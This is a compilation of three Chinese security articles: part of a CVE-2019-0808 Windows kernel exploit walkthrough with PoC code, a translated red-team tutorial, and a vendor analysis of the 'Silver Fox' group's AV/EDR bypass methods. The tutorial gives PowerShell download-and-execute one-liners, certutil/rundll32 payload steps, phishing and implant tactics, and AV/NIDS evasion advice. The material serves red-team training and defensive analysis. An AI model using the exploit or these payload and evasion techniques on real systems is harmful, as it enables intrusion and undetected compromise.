函数中开始调用后续函数的，但是这个函数没有被导出，所以要通过其他函数的地址来导出。NtAllocateVirtualMemory函数是用来后续分配零页内存使用的。
pfnNtUserMNDragOver = (NTUserMNDragOver)((ULONG64)GetProcAddress(LoadLibraryA("USER32.dll"), "MenuItemFromPoint") + 0x3A);
pfnNtAllocateVirtualMemory = (NTAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
然后设置Hook EVENT_SYSTEM_MENUPOPUPSTART事件和WH_CALLWNDPROC消息。
SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WindowHookProc, hInst, GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,hInst,DisplayEventProc,GetCurrentProcessId(),GetCurrentThreadId(),0);
之后设置了两个无模式拖放弹出菜单（之前创建的，但是不影响poc的逻辑顺序），即hMenuRoot和hMenuSub。hMenuRoot会被设置为主下拉菜单，并将hMenuSub设置为其子菜单。
HMENU hMenuRoot = CreatePopupMenu();
HMENU hMenuSub = CreatePopupMenu();
MENUINFO mi = { 0 };
mi.cbSize = sizeof(MENUINFO);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuRoot, &mi);
SetMenuInfo(hMenuSub, &mi);
AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root");
AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");
创建了一个类名为#32768的窗口
hWndFakeMenu = CreateWindowA("#32768", "MN", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);
根据msdn我们可以查询到这个#32768为系统窗口，查的资料，因为CreateWindowA()并不知道如何去填充这些数据，所以直接调用多个属性被置为0或者NULL，包括创建的菜单窗口对象属性
tagPOPUPMENU->spmenu = NULL 。
然后设置wndclass的参数，再使用CreateWindowsA来创建窗口。参数可以确保只能从其他窗口、系统或应用程序来接收窗口消息。
WNDCLASSEXA wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXA);
wndClass.lpfnWndProc = DefWindowProc;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hInstance = hInst;
wndClass.lpszMenuName = 0;
wndClass.lpszClassName = "WNDCLASSMAIN";
RegisterClassExA(&wndClass);
hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);
接着，使用 TrackPopupMenuEx() 来弹出 hMenuRoot ，然后再通过 GetMessageW 来获取消息，然后在
WindowHookProc 函数中由于bOnDraging被初始化为FALSE，所以直接会执行 CallNextHookEx
。由于触发了EVENT_SYSTEM_MENUPOPUPSTART事件，然后传递给 DisplayEventProc ，由于 iMenuCreated
被初始化为0，所以进入0的分支。通过 SendMessageW() 将 WM_LMOUSEBUTTON 窗口消息发送给 hWndMain 来选择
hMenuRoot 菜单项(0x5, 0x5)。这样就会触发 EVENT_SYSTEM_MENUPOPUPSTART 事件，再次执行
DisplayEventProc ，由于刚刚 iMenuCreated 自增了，所以进入分支1，导致发送消息使鼠标挪到了坐标（0x6，0x6），然后
iMenuCreated
再次进行自增。然后在主函数的消息循环中iMenuCreated大于等于1进入分支，bOnDraging被置为TRUE，然后调用被我们导出的pfnNtUserMNDragOver函数。
TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
if (iMenuCreated >= 1) {
bOnDraging = TRUE;
pfnNtUserMNDragOver(&pt, buf);
break;
}
}
LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
if (!bOnDraging) {
return CallNextHookEx(0, code, wParam, lParam);
}
if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT)){
bIsDefWndProc = FALSE;
printf("[*] HWND: %p \n", cwp->hwnd);
SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc);
}
return CallNextHookEx(0, code, wParam, lParam);
}
VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook,DWORD event,HWND hwnd,LONG idObject,LONG idChild,DWORD idEventThread,DWORD dwmsEventTime)
{
switch (iMenuCreated)
{
case 0:
SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005);
break;
case 1:
SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006);
break;
}
printf("[*] MSG\n");
iMenuCreated++;
}
poc的流程已经分析完了，但是还是有部分的代码没有进入，比如 WindowHookProc 的 cwp->message ==
WM_MN_FINDMENUWINDOWFROMPOINT 分支，该分支通过 SetWindowLongPtrA
来改变窗口的属性。把默认的过程函数替换为SubMenuProc，SubMenuProc函数在收到 WM_MN_FINDMENUWINDOWFROMPOINT
消息后把过程函数替换为默认的过程函数，然后返回我们自定义的FakeMenu的句柄。
LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
if (msg == WM_MN_FINDMENUWINDOWFROMPOINT)
{
SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);
return (ULONG)hWndFakeMenu;
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
接下来还要我们从漏洞的代码本身来分析。我们来看下调用pfnNtUserMNDragOver之后发生了什么，以及什么时候能收到
WM_MN_FINDMENUWINDOWFROMPOINT 这个消息。通过我们之前看到 windbg 的栈回溯中，我们在IDA中逐渐回溯函数，在
xxxMNMouseMove 函数中发现了 xxxMNFindWindowFromPoint 就在 xxxMNUpdateDraggingInfo
之前，xxxMNUpdateDraggingInfo 函数也是我们栈回溯中的函数。
在函数 FindWindowFromPoint 函数中通过 xxxSendMessage 发送消息 235 也是 poc 中定义的
WM_MN_FINDMENUWINDOWFROMPOINT ，然后返回 v6
也就是获取的窗口句柄。然后在函数MNGetpItem中导致了空指针解引用得问题。
### 从空指针解引用到任意代码执行
触发了漏洞之后我们如何利用是个问题，首先的问题是把空指针解引用异常解决掉，在 windows7 版本上可以使用
ntdll!NtAllocateVirtualMemory 来分配零页内存。可以看到在申请零页内存之后不会产生异常导致crash了。
为了进入到 MNGetpItem 的 if 分支中，我们需要对零页内存中的数据进行设置。并且通过查询资料得知，MNGetpItem 中的参数为
tagPOPUPMENU 结构，uDraggingIndex又可以从tagMSG的wParam取到，所以这个函数的返回值是在用户态可控的。
进入 if 分支之后我们继续看程序流程,继续跟进 xxxMNSetGapState 函数。
进入 xxxMNSetGapState 可以看到再次出现了我们之前的漏洞函数 MNGetpItem ，其中 v5 是 MNGetpItem 的返回值，v6
= v5，后续中有 v6 或的操作，MNGetpItem 的返回值又是用户态可控，利用这一点我们可以实现任意地址或0x40000000u的操作。
如何把这个能力转化为任意地址读写呢？公开的exp中采用了窗口喷射的方法，类似于堆喷射创建大量的 tagWND 再通过 HMValidateHandle
函数来泄露内核地址来进行进一步的利用。HMValidateHandle
允许用户获得具有对象的任何对象的用户级副本。通过滥用此功能，将包含指向其在内核内存中位置的指针的对象（例如
tagWND（窗口对象））”复制“到用户模式内存中，攻击者只需获取它们的句柄即可泄漏各种对象的地址。这里又需要导出 HMValidateHandle
函数来进一步利用。再导出了 HMValidateHandle
之后可以泄露对象的地址了，然后我们利用窗口对象喷射的方法，寻找两个内存位置相邻的对象，通过修改窗口附加长度 tagWND+0x90->cbwndExtra
为0x40000000u来，再次修改第二个窗口对象的 strName.Buffer 指针，再通过设置 strName 的方式来达到任意地址写。
有了任意代码写，如果使 shellcode 在内核模式中执行呢？可以利用 tagWND. bServerSideWindowProc
字段，如果被置位那话窗口的过程函数就实在内核模式的上下文中执行,最后可以实现用户态提权。
### 后记
通过这个漏洞的分析和复现也学到了不少在内核模式下的操作。分析到这里已经算结束了，但是如何达到在野外实现的浏览器沙盒逃逸的功能，还有之前提出的问题都是还需要思考的。那我们通过这个漏洞的复现及利用过程，还要思考这个漏洞是如何被发现的，是否可以通过poc中的一些功能来
fuzz 到同样的空指针解引用，以及我们如何去寻找这类漏洞。
### 参考链接
<https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html>
<https://github.com/ze0r/cve-2019-0808-poc/>
* * * | 社区文章 |
原文：<https://payatu.com/redteaming-zero-one-part-2/>
翻译：sn00py@D0g3
本文是上一篇博客的延续-[红队测试从0到1 - PART
1](https://xz.aliyun.com/t/2742)，我强烈建议读者先看看上一篇文章再来阅读本文。在上一篇文章中，我介绍了什么是红队测试？红队测试与渗透测试的区别、红队人员的目标、C2/后利用框架的选择以及C2基础设施的建立。
在这一部分，我们将介绍有效载荷的创建、投递以及如何规避AV/NIDS。
# 3\. 创建有效载荷
Empire为我们提供了各种选项来生成powershell代理，其中包括：exe, dll, Macro, HTA, bat, lnk, SCT,
shellcode, bunny, ducky等。
_Empire有效载荷选项：_
下面是一些有效载荷创建技术：
## 3.1 一句话POWERSHELL有效载荷
这里，有效载荷的整个第一阶段是经过base64编码的，并使用Powershell iex(Invoke
Expression)执行。一但执行，它将从C2服务器进一步下载完整的Powershell代理。这个一句话的Powershell的有效载荷可以嵌入到宏指令、HTA文件文件中，也可以作为OLE对象嵌入。但这一阶段极有可能被AV检测到。
Powershell -W Hidden -nop -noni -enc <base64 payload> -> 解码并执行base64有效载荷
_base64编码的一句话powershell有效载荷：_
## 3.2 WINDOWS下一句话下载和执行任意代码
从远程服务器下载和执行文件有很多种方法，我们可以使用Powershell，Wscript，mshta，rundll32，Wmic，regsvr32，MSBuild等来实现。
除了用powershell直接执行base64编码的有效载荷，我们还可以用它来下载ps1文件并执行。这有很大概率会被AV检测到，但也有一些逃避AV的方法，我们会在后文的AV逃避部分讲到。
Powershell -exec bypass -c “(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr(‘http://webserver/payload.ps1’)|iex” -> 使用系统代理下载并执行ps1文件
_powershell一句话下载并执行有效载荷：_
[这](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)是由@arno0x0x编写的优秀代码，使用一句话在windows上下载并执行任意代码。
## 3.3 HID有效载荷
在测试过程中，如果我们通过电子邮件发送的有效载荷投递失败或被检测到，那么可以尝试使用HID设备（如bash
bunny或橡皮鸭）进行物理入侵。几乎所有重视安全的企业都禁用了USB，所以不要再妄想插入闪存驱动了。根据我的经验，在真实交战中，HID攻击的成功率很高。
你可以使用不同的文件拓展名（如bat、SCT、lnk等）执行powershell有效载荷，也可以把整个Empire
powershell有效载荷写入到橡皮鸭来执行。它被发现的机会很小，但是文件落地到磁盘，会留下较多的取证证据。
_Empire生成的Vbs脚本：_
## 3.4 在不运行POWERSHELL.EXE的情况下执行POWERSHELL
由于powershell被恶意软件严重滥用，许多公司要么完全阻止powershell运行，要么开启了所有powershell日志记录模块，然后将其传递给中央日志分析工具，如果发现任何可疑活动，就可能触发警报。如果powershell被阻止运行，我们可以在不启动powershell.exe的情况下执行powershell。这可以通过多种方式实现：
### 3.4.1 使用[POWERSHDLL](https://github.com/p3nt4/Powershdll)
我们可以只用dll文件运行powershell脚本，而不需要访问powershell.exe。如果我们不能直接将dll文件传输到远程机器上，那么可以使用带certutil命令的HID设备构建dll文件。然后使用该dll文件执行powershell代码或脚本。
> base64 Powershdll.dll > Powershdll_b64.txt (把dll文件转换成base64，然后使用HID设备传输到受害者机器上)
> certutil -decode Powershdll_b64.txt output.dll (把base64解码成dll文件)
> rundll32 output,main “Powershell script”
使用Powershdll运行base64编码脚本：
> rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(“BASE64”)) ^| iex
当Powershell.exe被禁用时，还有多种其他技术可以执行Powershell代码。你可以使用MSBuild
utility来构建自己的exe文件，也可以构建一个不调用Powershell.exe的SCT文件。
# 4\. 投递有效载荷
在往公司内网投递有效载荷时，主要有两种方式：
## 4.1 邮件投递
一个精心制作的鱼叉式钓鱼邮件足以使一个公司陷入瘫痪，但随着企业对邮件安全的重视，通过邮件投递有效载荷变得越来越困难了。邮件中的附件和下载链接将经过一系列安全设备的检查，所以你的有效载荷必须绕过这些设备，才能在目标计算机上执行。
它必须至少绕过收件人的邮件安全网关、web过滤器以及端点保护。它还取决于你如何迁入你的有效载荷以及目标机器上安装的防护软件。
在撰写本文时，我有3种方式通过邮件的附件/下载链接投递有效载荷。
* **Office宏** （最佳选择，因为许多企业中宏是默认启用的）
* **HTA文件** （第二选择，由Microsoft HTML Application Host – mshta.exe执行）
* **Office DDE漏洞** （已被修补，不能在最新版office下利用）
不要期望通过邮件投递有效载荷的其他方式在当前的场景下成功，除非在目标企业防护很弱的情况下，你可以一试。
* **浏览器漏洞** \- 没啥用，除非你有最新的浏览器0 day（主要是IE）
* **投递EXE** \- 把恶意软件嵌入到exe中进行投递是最后的无奈之举。因为从互联网上下载的任何exe都必须经过严格的检查和持续的行为监控。在受限的环境中，端点保护软件会检查可执行文件的数字签名。如果它没被流行的实体签名，端点保护软件将阻止它执行。
* **Microsoft Office OLE漏洞** \- 可以试一下，但实际上所有端点保护软件都会在Office文件中查找OLE嵌入对象。90%的情况下会被检测到。
* **Java偷渡式下载漏洞** \- 多数情况下会立马被端点保护检测出来。
通过电子邮件投递有效载荷的风险是，如果你的有效载荷被端点保护检测出来，蓝队可能会开始调查它，并在企业内部拦截你的钓鱼域名，导致你以后无法发送任何钓鱼邮件到该电子邮件服务器。
**另一种方法是在解密实际的有效载荷之前，让恶意软件检查具体的windows域。如果蓝队尝试在沙箱或虚拟环境下分析你的恶意软件，他们将无法找到你的C2域名，因为它保持加密状态，只在正确的windows域下暴露出来。这将确保有效载荷仅在具有我们已设置的指定Windows域的活动目录环境中解密和执行。对于其他人来说，它只是一个加密块。同样，你也可以让你的有效载荷检查公网IP地址，而不是widnows域，这将确保它在你希望的企业中执行。**
## 4.2 物理入侵/社会工程投递
几乎所有大型企业，任何USB接口上的大容量存储设备都会被Active
directory（活动目录）或DLP(数据丢失防护)端点软件强制执行的策略阻止。因此，在任何系统中插入闪存驱动器都是不可能的。我们必须找到某些无人值守/锁定的系统。如果能找到未锁定的系统，哪怕就几秒钟，事情也会变得简单很多。或者利用社会工程学伪装成IT工作人员，接近一些员工让他们把没锁定的系统给我们操作几分钟。在时间足够的情况下，即使系统被锁定，我们也可以用konboot绕过密码登陆。
### 4.2.1 [KONBOOT](https://www.piotrbania.com/all/kon-boot/)（密码绕过工具）
这是一个装在USB驱动器中的实用程序，它上面运行着一个小型的便携式Linux系统。你需要将其插入并重新启动系统。它在运行时进行了一些更改，你无需输入任何密码即可登录Windows系统。与其他密码破解工具相比，使用这个工具的好处是，它只删除一次密码，在下一次启动时，系统会像之前那样正常工作。它既不会从SAM中删除密码也不会更改它，十分隐蔽，不会引起注意，因为当员工下次登录时，他不会发现任何可疑的迹象。
对于连接到域的系统来说，这里有一个简便的技巧，因为身份验证是在域控制器中进行的，而非本地。拔掉LAN电缆，再插入konboot
usb，然后重启系统。我不确定这是如何工作的，但它以某种方式从缓存本地进行身份验证，并且不会尝试连接到AD。绕过密码后，你可以再次插入LAN电缆成为域用户。
记下那里的网络详细信息（IP地址，网关，子网掩码，MAC地址），这能方便以后的网络植入。或者如果你想将kali机器连接到本地网络，考虑到IP分配是静态的这一事实并且有NAC（网络访问控制），用于检查连接到网络的有效设备。
konboot Windows版的商业许可证价格约为75美元。如果驱动器被加密，则无法工作，因为操作系统需要密码才能解密。
### 4.2.2 HID设备（模拟合法键盘）
当我们面前有一个未锁屏的系统时，只需要几秒钟，我们就可以使用可模拟为键盘的USB
HID设备，自动输入所有有效载荷。系统会将其检测为键盘，从而允许它运行。有多种不同的HID设备可供选择，如果你想便宜一点的话，也可以使用Adruino
pro micro自己做一个。但我更喜欢来自Hak5的[Rubber ducky](https://hakshop.com/products/usb-rubber-ducky-deluxe) 和[Bash bunny](https://hakshop.com/products/bash-bunny)，它包装精美，隐蔽，非常容易设置并且bash bunny有很多选项。你还可以使用[kali
Nethunter](https://www.kali.org/kali-linux-Nethunter)将Android手机模拟为HID设备。
你可以把你的有效载荷放在rubber duckies/bash
bunny里，一旦插上，它会自动打开cmd、Powershell或记事本并在几秒钟内输入你的有效载荷，或者你可以用它来创建.bat、.vbsript或.HTA文件并执行它。使用不接触磁盘而在内存中运行的有效载荷总是更好的，一个很好的例子就是Powershell
Invoke-Expression。它允许你在内存中运行Powershell脚本而不接触磁盘，从而最大限度地降低被检测的风险。
你可以在目标建筑物周围放下几只rubber
duckies（如果你不怕弄丢的话），然后等待有人将它插入系统中。不过这也存在一些风险，因为屏幕上会发生一些事情，可能会引起怀疑。
### 4.2.3 网络植入（隐藏远程后门）
Hak5开发了一些优秀的硬件设备，可以在红队测试期间用作远程后门。我最喜欢的设备之一是LAN
Turtle。你可以将其与LAN线一起插入CPU，或者将任何LAN线插入其中，然后使用USB充电器为其供电。因为它体积小，设计轻巧，如果放在合适的位置，可能会隐藏数周/月。
它有很多令人惊叹的功能，如AutoSSH /
OpenVPN。我个人建议使用OpenVPN客户端模块，它能让你连接到目标企业的网络，通过它你可以进行进一步的利用。你还可以使用LAN
Turtle中的响应程序模块捕获NTLM Hash并使用Hash访问其他计算机。当你坐在沙发上看电影时，它就能让你进入目标的网络！
# 5\. 逃避AV/端点保护/NIDS
我不是AV逃避方面的软件，但是经过大量的阅读和实验，我得到了一些适合我的基本技术。在撰写本文时，我可以绕过一些最常用的企业级端点保护软件，这些软件和一些商业NIDS一起工作在打满补丁的最新版Win7上。根据我的经验，为了逃避AV和IDS，你首先需要了解它们的实际工作方式。你越了解它们如何将某些程序标记为恶意程序，你就越有机会逃避。
## 5.1 防病毒/端点逃避
我不想透露对我有用的技术细节，因为它可能对你不起作用。在撰写本文时对我有用的内容可能不适合您，因为AV供应商可能会更新其检测技术或签名，但我会说明有关AV逃避的一些重要思路：
### 5.1.1 避免使用可执行文件进行有效载荷投递
从互联网下载的可执行文件都将通过一系列安全产品的大量检查。AV使用启发式算法，尝试在沙箱中执行它，并通过逆向工程检查恶意软件的签名是否是已知的。此外，如果它是未签名的二进制文件，由于系统上部署的策略，它可能无法执行。
### 5.1.2 使用自带的微软工具
Windows系统附带大量预装工具，如Powershell，WMI，mshta，Wscript，regsvr32等，可用于下载/执行恶意软件。使用系统自带的程序的优点是我们可以轻松绕过应用程序限制，因为这些是合法签名的Windows二进制文件，它会使攻击看起来不那么可疑。
### 5.1.3 POWERSHELL攻击仍然是有效的
最近，Powershell被恶意软件严重滥用，AV供应商也更新了他们的签名，可以检测出互联网上几乎任何框架创建的默认有效载荷。尽管如此，绕过大多数基于签名的AV检测还不是很困难。
Win 10上预装了AMSI（防恶意程序扫描接口），这使得逃避变得更加困难，但好在多数大型企业的基础设施仍然是Win
7。我将在了解更多关于AMSI的技术后更新这个博客。
### 5.1.4 混淆，混淆，再混淆
我用混淆成功绕过了大多数端点保护软件。非常感谢[@danielhbohannon](https://twitter.com/danielhbohannon)创建了一些非常棒的混淆工具。他创建了4个关于混淆的利器，这对红队和蓝队都有帮助：
[Invoke-Obfuscation ](https://github.com/danielbohannon/InvokeObfuscation)
[Revoke-Obfuscation ](https://github.com/danielbohannon/Revoke-Obfuscation)
[Invoke-CradleCrafter ](https://github.com/danielbohannon/Invoke-CradleCrafter)
[Invoke-DOSfuscation](https://github.com/danielbohannon/Invoke-DOSfuscation)
我建议阅读本博客的同学玩玩这些框架，并学习如何自定义更多的默认输出。
未经混淆的powershell命令：
Write-Host ‘Test Obfuscation’ -Import test
混淆后：
.(“{2}{1}{0}”-f ‘t’,’s’,’Write-Ho’) (“{2}{5}{1}{3}{0}{4}”-f’scatio’,’st ‘,’T’,’Obfu’,’n’,’e’) -Import (“{1}{0}”-f ‘est’,’t’)
_Invoke-Obfuscation:_
另外两个伟大的项目是[Veil](https://github.com/Veil-Framework/Veil)和[Shellter](https://www.shellterproject.com/)。不过，我从未在任何真正的测试中用过它们，因为它们主要处理可执行文件。
现代端点保护还内置了一些基于主机的IDS功能，例如检查恶意主机流量，Web信誉等，我们将在NIDS规避中讨论这些功能。
## 5.2 NIDS逃避
在我们成功绕过端点保护之后，我们还需要绕过企业级NIDS系统。从广义上讲，NIDS可以分为两类：
### 5.2.1 基于签名的NIDS
基于签名的NIDS将网络流量与任何已知的恶意软件流量规则进行匹配。规则中包括C2服务器域名，使用的协议，URL，User-Agent，服务器版本，默认页面等。
在Empire中，这些C2指纹很容易修改。NIDS数据库具有Empire默认流量以及其他已知主要框架的网络流量规则。只要我们的网络规则够特别，就可以轻松绕过基于签名的NIDS。下面的截图Empire代理的HTTP流量，它看起来类似于普通的网络流量。我们修改了默认的C2指纹，如C2
URL，User-Agent，服务器标头，响应HTML正文等。
_自定义Empire代理C2通信HTTP流量：_
### 5.2.2 基于异常流量的NIDS
基于Anamoly的NIDS与基于签名的IDS工作原理不同。基于anamoly的IDS构建了一种企业内正常流量的规则。他们将这些数据输入机器学习算法。如果IDS发现与正常流量规则不匹配的流量，就会将其标记为恶意流量。如果我们可以将我们的C2流量混淆成正常流量，就可以绕过讨厌的IDS。
**下面我将陈述一些逃避NIDS的观点：**
#### 5.2.2.1 选择正确的C2通信协议
在选择C2协议时，你有多种选择。有效载荷可以使用TCP，HTTP（s），DNS，ICMP或自定义协议与C2通信。逃避检测的最佳方法是混合流量。例如，如下图所示，Meterpreter与C2服务器保持恒定的TCP连接。这种流量模式具有很强的可预见性，因此很容易被检测到。
如果我们使用自定义C2协议，也可能会产生怀疑，因为自定义协议不在正常流量数据集中。混淆的最佳方法之一是使用常用的协议，如HTTP或DNS。使用HTTP时，我们可以轻松混入正常的网络流量。在这里，我们将Empire
C2服务器设置为Microsoft的Live电子邮件服务器。我们也可以使用DNS进行C2通信，但它有局限性。当使用DNS作为C2协议时，数据传输速度将非常慢，并且网络中将产生数千个加密的DNS请求，这可能会引起怀疑。C2协议的选择完全取决于你的目标组织。
_使用自定义延迟和抖动的Empre HTTP流量：_
#### 5.2.2.2 选择正确的C2域名
切勿使用IP地址与C2服务器通信。任何好的NIDS都会阻止到一个IP地址的重复连接，并且你的C2流量会在其他流量中显得突出。因为正常情况下，web通信都是通过域名进行的。在NIDS规避方面，C2服务器使用的域名也很重要。如果你的C2域名声誉不好，那么NIDS可能会彻底阻止你的域与系统进行通信。如果你要购买二手域名，请务必检查域名的声誉。
尽量从医疗保健或金融等特定类别购买域名，因为由于合规性问题，IDS检查或阻止该类域名的SSL连接的可能性较小。
还要尽量使用老一点的域名，新购买的域名更容易引起怀疑。
#### 5.2.2.3 在正常流量中混合C2流量
如果你使用常用的协议（如HTTP /
DNS），那么你已经混入到了正常流量中。不过，如果你使用默认时间间隔与C2通信，基于anamoly的NIDS仍然可以轻松检测出来。
你应该将代理的回调时间从默认值（5s）增加到更大的值。使用抖动和更长的延迟将实现真正的混淆。增加回调时间还是比较痛苦的，因为执行一个命令后你必须等待相应的事件。你必须在两者之间找到合适的平衡点。
#### 5.2.2.4 带合法证书的SSL上的C2流量
虽然Empire使用加密的POST请求传输C2流量，但这并不足以绕过NIDS。通常，普通网络流量不会加密整个http
POST主体，这可能会引起怀疑。以下是正常Empire通信的截图：
IDS可以清楚地看到你的整个网络流量，解析并分析它。如果是HTTP流量，则会更加可疑。许多NIDS只是不检查SSL流量。这还在很大程度上取决于目标企业如何部署其IDS以及它们是否解密了SSL流量以进行数据包检查。
最好将SSL用于C2流量，并使用来自正规CA授权商的有效签名的证书。我们已经在C2基础设施部分中讨论过如何为C2设置SSL。
_通过SSL加密的Empire C2数据：_
# 总结
AV /
NIDS逃避就像是猫和老鼠的游戏。我在上面讨论的技术在撰写本文时依然有效，但当你在系统上尝试时，它可能已经失效。本文的目的是教导初学者，当我们作为红队的一员时所需要考虑的事情，目标也仅限于在网络中获得一个初步的立足点。我在博客中所言的所有观点都不是绝对的，你需要根据实际情况和目标的安全策略，来确定所需的C2框架、通信协议、AV规避技术、C2配置、C2基础设施等。
例如，如果你曾与银行企业合作过，你就会知道许多银行的基础设施已经实施了IP白名单。它们的内部系统将只连接到IDS规则集中预定义的指定IP地址。在这种情况下，你可以使用DNS进行C2通信，这将帮助你绕过IP白名单，因为我们没有连接到任何用于C2通信的IP地址。Cobalt
Strike具有非常出色的DNS通信功能。
整篇文章的关键是，红队总是会找到一种方法来绕过最新的防御技术/软件，而蓝队必须不断地实施新的技术来保护他们的组织。这势必是一场持久战，所谓兵马未动，粮草先行，准备更充分的队伍终将获胜。 | 社区文章 |
# 杀软EDR都没检出？一文秒懂“银狐”四大绕过手法
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 3月27日，微步发布了对攻击金融、证券、教育等行业的黑产团伙
> “银狐”的研究报告。“银狐”利用伪造工具网站、微信等即时通讯工具发送木马文件，诱骗员工点击，由此入侵企业办公网。
微步终端安全管理平台OneSEC在更早时候就发现了“银狐”的攻击行为，经微步安全实验室进一步分析，发现其母体样本存在至少4种利用方式，可以有效对抗或绕过现有终端安全产品（杀毒和EDR）。本文将详细分析、总结这些绕过手法各自的特点，以帮助大家有效应对办公网的新威胁。（也可直接查看【手法总结】，快速了解每种攻击手法的特点）
## # “银狐”四大绕过手法揭秘 #
微步总结出“银狐”团伙攻击技术过程中的四大绕过手法：浑水摸鱼、李代桃僵、瞒天过海、包藏祸心。
**01浑水摸鱼：模拟鼠标点击，构造合法执行链路加载恶意代码**
伪装成“xx聊天记录”的母体样本被用户双击后，会释放三个文件：
1. vbn.exe是一个模拟鼠标点击程序，非恶意；
2. adta.exe是一款带有合法签名的某股票软件；
3. libcef.dll是一个恶意dll文件；
目前部分终端安全产品在行为检测上的信任逻辑依靠有效的文件签名，而在这一攻击手法中，“银狐”正是利用了白程序（有合法签名的某股票软件）特性，伪装成一个合法的进程链路。具体执行如下图所示：
1. 名为“xx聊天记录.exe”的母体样本首先执行vbn.exe；
2. vbn.exe模拟鼠标点击动作，让Explorer程序启动adta.exe；
3. adta.exe程序加载有恶意代码的libcef.dll文件；
4. adta.exe将恶意代码注入svchost执行。
**手法总结：**
“银狐”
成功构造了一整条“白利用链路”，从而可以轻松绕过杀毒主防和EDR的检测。而且利用模拟鼠标点击，让Explorer执行的方式更不容易追溯到原始恶意进程。
**02李代桃僵：利用微软官方程序启动程序加载恶意代码**
与手法1有些类似，伪装的母体样本同样会释放三个文件：
1. helpPane.exe是微软官方提供的帮助程序；
1. adta.exe是一款带有合法签名的某股票软件；
1. libcef.dll是一个恶意dll文件；
与手法1不同的是，利用微软官方程序替代了模拟鼠标点击程序。母体样本在释放文件后，会调用COM组件中的冷僻接口，通过操作系统自主启动HelpPane.exe程序，然后再执行类似手法一的进程，如下图所示：
**手法总结：**
与手法1相比，手法2通过COM组件替代模拟鼠标点击，利用操作系统来启动HelpPane.exe程序，构造了一条“合法”链路，相较于Explorer这种常见进程更具迷惑性。而且利用com组件的方式更不容易追溯到原始恶意进程。
**03瞒天过海：图片暗藏恶意代码实现无文件攻击**
这是无文件攻击的一种常见实现，母体程序是一个Go语言编译的程序，诱导用户点击之后，恶意程序会首先访问C&C，并下载一张图片，然后将图片加载到内存中。用户看到的就是一张图片（不影响图片的正常显示），而实际上，攻击者使用一些算法将数据嵌入到了图像中。
反连C&C后下载的图片，恶意代码就隐藏其中
之后Go语言程序会在内存中将此图片解密，释放出恶意代码，并创建计划任务实现开机启动。
被微步抓到的内存中解密恶意代码过程图
**手法总结：**
在整个过程中，Go语言程序并不存在恶意代码，所以杀软无检出；恶意代码实际从下载的图片中动态获取，整个过程无任何恶意文件落盘，所有操作均在内存中处理完成，成功绕过了绝大多数的杀毒引擎，并通过计划任务达到持久稳定运行的目的。
**04包藏祸心：加密文件内存中释放恶意代码**
母体程序利用签名伪造技术将自身伪装成正常程序，尽管这个程序的签名是无效的，但因为并不包含恶意代码或恶意特征，所以大多数杀软都不会告警。运行这个程序会释放三个文件：
1. AvSHpPsh.exe是一个无恶意代码/特征的执行程序；
2. Antikk.dll是一个无恶意代码/特征的dll文件；
3. xm.xml是一个加密文件。
母体文件会首先执行AvSHpPsh.exe程序，并加载Antikk.dll文件，然后在内存中解密xm.xml文件，执行payload：
未解密的内存代码
解密后的内存代码
**手法总结：**
在这一攻击手法中，尽管恶意代码在本地，但以加密形式存储，不存在任何可疑特征，杀软几乎无法检出。AvSHpPsh.exe程序在内存中加载并解密运行恶意代码，同样可以轻松绕过杀软与EDR。
可以看到，“银狐”团伙使用的四大绕过手法均各有高明之处，那么如何在终端上破解？
## # EDR如何应对“银狐”攻击 #
## 让终端安全止于终端
在3月27日的分析报告中，微步公布了“银狐”攻击相关的IOC与TTPs，本文则从终端角度切入，借助微步终端安全平台OneSEC，为大家展现“银狐”的应对之法。
从防范角度，可以将“银狐”的4种攻击手法分为两类：
手法一和手法二使用的规避手法都是通过伪装白利用等方式执行，以此绕过了杀软和大多数EDR的行为检测。OneSEC
使用单点+事件的两阶段检测方式，不仅检测行为，还将行为串联，从事件角度整体检测，虽然表面看起来是“合法”链路，但综合其特殊的执行链路和注入方式，就会被OneSEC识别检出，检出图如下所示：
银狐攻击团伙行为检出图
手法三和手法四，从技术角度看，利用了图片暗藏恶意代码、加密恶意文件等方式，但都会经历内存解密、反射加载两个阶段。对于这两种攻击手法，OneSEC 利用
IOA 引擎和内存扫描的组合拳能实现有效检出：
实际上，除了OneSEC之外，微步旗下的威胁感知平台 TDP 、威胁情报管理平台 TIP 、威胁情报云 API 、互联网安全接入服务 OneDNS
